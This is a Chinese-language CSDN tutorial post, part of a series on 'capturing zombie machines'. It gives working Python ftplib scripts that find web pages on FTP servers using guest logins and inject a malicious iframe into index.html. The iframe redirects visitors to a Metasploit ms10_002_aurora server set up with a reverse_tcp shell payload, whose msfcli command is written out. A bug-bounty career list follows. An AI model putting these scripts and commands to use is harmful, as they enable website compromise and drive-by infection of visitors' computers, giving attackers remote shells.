【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(下):在FTP服务器上搜索网页+注入代码

 

前言:

介绍: 

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点(读者自测): 

(1)在FTP服务器上搜索网页+注入代码(√)

 让读者如虎添翼

抓肉鸡博文目标状态
【Python脚本进阶】利用FTP与Web批量抓“ 肉机”(上):构建匿名FTP扫描器构建匿名FTP扫描器已发布
【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(中):使用Ftplib暴力破解FTP用户口令使用Ftplib暴力破解FTP用户口令已发布
【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(下):在FTP服务器上搜索网页+注入代码在FTP服务器上搜索网页+注入代码已发布
【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(终)利用FTP与Web批量抓肉机已发布


目录

一、在FTP服务器上搜索网页

1.1、函数:

1.2、实现:

二、在网页中加入恶意注入代码

2.1、分析:

2.2、函数:

2.3、实现:


一、在FTP服务器上搜索网页

1.1、函数:

ftp.nlst():返回FTP服务器上指定目录的文件列表

fileName.lower():将字符串中的所有大写字母转换为小写字母

1.2、实现:

有了FTP 服务器的登录口令之后,要测试一下该服务器是否提供Web 服务


首先要列出FTP 目录中的所有文件, 搜索其中是否含有默认网页。returnDefault()函数输入的参数是一个FTP 连接, 返回一个它找到的默认网页的数组。它是通过发出NLST 命令(列出目录中所有文件的命令)完成这一操作的。该函数会逐个检查NLST 命令列出的每个文件的文件名是不是默认的Web 页面文件名, 并把找到的所有默认网页都添加到一个叫retList 的数组中。完成这一迭代操作后, 函数返回该数组。


运行python defaultPages.py

import ftplib


def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page: ' + fileName)
            retList.append(fileName)
    return retList


host = '192.168.190.131'
userName = 'guest'
password = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, password)
returnDefault(ftp)


二、在网页中加入恶意注入代码

2.1、分析:

已经找到了网页文件, 必须用恶意重定向代码感染它们。为了快速创建一个位于http://xx.xx.xx.xx:8080/exploit 的恶意服务器和页面,将使用Metasploit 框架,选用的是msl0_002_aurora, ip:8080/exploit 上的网页会利用被重定向到它这里的浏览器中的漏洞, 使之向我们提供一个反向连接, 令我们能通过这个反向连接来控制这台“ 肉机”

msfcli exploit/windows/browser/ms10_002_aurora
LHOST=xx.xx.xx.xx SRVHOST=xx.xx.xx.xx URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=xx.xx.xx.xx LPORT=443 E


如果有哪个有漏洞的浏览器连接到http://xx.xx.xx.xx:8080/ exploit这个服务器, 它就会执行漏洞利用代码。一旦成功,将生成一个反向的TCPshell, 并让我们得到这台被黑计算机上的Windows命令行提示窗口。有了这个命令shell后, 就能在“ 肉机” 上以管理员权限执行命令


接下来,要在被黑服务器的正常网页中添加一段重定向至我们的恶意服务器的代码。我们可以从被黑的服务器上把默认网页下载下来, 在其中插入一个iframe, 然后把这个插入了恶意代码的网页传回到被黑的服务器上


injectPage()这个函数,需要给injectPage()函数输入一个FTP连接、网页名, 以及表示用于重定向的这个iframe字符串,然后下载该网页的临时副本。接着, 它把重定向到我们恶意服务器上的这个iframe添加到这个临时文件中。最后, 函数将被感染的网页传回被黑的服务器上。

2.2、函数:

ftp.retrlines():使用RETR命令获取文件多行信息


storlines (cmd, f):给定 FTP 命令。(如“ STOR filename”),用来上传文本文件


ftplib.FTP类:实现FTP协议的客户端,可以使用它来编写执行各种FTP作业的Python程序

2.3、实现:

python injectPage.py

import ftplib


def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print('[+] Downloaded Page: ' + page)
    f.write(redirect)
    f.close()
    print('[+] Injected Malicious IFrame on: ' + page)
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page: ' + page)

host = '192.168.190.131'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src= '+'"http://xx.xx.xx.xx:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)



网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year 

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心 

众测平台URL
漏洞盒子漏洞盒子 | 互联网安全测试众测平台
火线安全平台火线安全平台
漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台360漏洞云漏洞众包响应平台
补天平台(奇安信)补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测首页
雷神众测(可信众测,安恒)雷神众测 - BountyTeam
云众可信(启明星辰)云众可信 - 互联网安全服务引领者
ALLSECALLSEC
360众测360众测平台
看雪众测(物联网)https://ce.kanxue.com/
CNVD众测平台网络安全众测平台
工控互联网安全测试平台CNCERT工业互联网安全测试平台
慢雾(区块链)Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚http://isrc.pingan.com/homePage/index

互联网大厂URL
阿里https://asrc.alibaba.com/#/
腾讯https://security.tencent.com/
百度https://bsrc.baidu.com/v2/#/home
美团https://security.meituan.com/#/home
360https://security.360.cn/
网易https://aq.163.com/
字节跳动https://security.bytedance.com/
京东https://security.jd.com/#/
新浪http://sec.sina.com.cn/
微博https://wsrc.weibo.com/
搜狗http://sec.sogou.com/
金山办公https://security.wps.cn/
有赞https://src.youzan.com/


Third Year 

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想) 

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值